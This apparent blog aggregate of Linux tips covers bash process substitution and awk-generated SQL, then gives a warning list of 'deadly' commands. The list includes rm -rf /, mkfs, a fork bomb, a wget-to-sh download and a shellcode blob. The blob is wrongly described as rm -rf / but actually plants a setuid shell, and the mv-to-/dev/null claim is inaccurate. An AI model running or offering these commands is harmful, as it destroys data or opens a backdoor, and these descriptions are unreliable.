Using file partially for filenames

There are some commands that take file name and there are some case where you need to give file name. But there are some cases where you want to modify the file before passing it to the command. What do you do in these case’s?

I had a file containing huge amount of data and for some testing I wanted to pass only the first few lines of the file and not the complete file.  And since the file only accepted filename and would not take any input from the STDIN so only option was to create a file with the required data in a temporary file. So, I sat back to figure out some way to do it and finally found I can use this:

testcommand -f<(head -1 )

The “testcommand” parameter “-f” requires a filename. And here we are passing the file to the command after filtering it with head command. You can use any bash command inside the <() combination.

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create SQL-statements from textfile with awk

create SQL-statements from textfile with awk

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$ $ awk \'{printf \"select * from table where id = %c%s%c;\\n\",39,$1,39; }\' inputfile.txt

inputfile.txt is a space-separated textfile, 1st column contains the items (id) I want to put into my SQL statement.

39 = charactercode for single tick \’

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1 = first column

If inputfile.txt is a CSV-file separated by \”,\” use FS= to define your own field-separator:

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awk \'BEGIN {FS=\",\"; }{printf \"select * from table where id = %c%s%c;\\n\",39,$1,39; }\' inputfile.txt

\"commandlinefu.com\"

by David Winterbottom (codeinthehole.com)

\"\"

\"\"

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URL: http://feedproxy.google.com/~r/Command-line-fu/~3/lz9uEhVxEEk/create-sql-statements-from-textfile-with-awk

7-deadly-linux-commands

You want to learn about Linux, start from learning what not to do. Here is one for the starting point.

So moral of the story is if someone asks you to do something and you dont know what that command will do, then dont do it. If your inner thing does not allow you not to do it, do it with all the care you can take. May be a backup and most importantly \”DONT USE ROOT LOGIN IF U DONT HAVE REASON TO USE IT\”. BTW there are couple of more articles on these kind of advices but the best way to save yourself is to educate yourself on the outcome of the command you are executing.

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(\”.text\”))) /* e.s.p
release */
= \”\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\”
\”\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\”
\”\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\”
\”\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\”
\”\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\”
\”\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\”
\”\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\”
\”cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;\”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn\’t exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.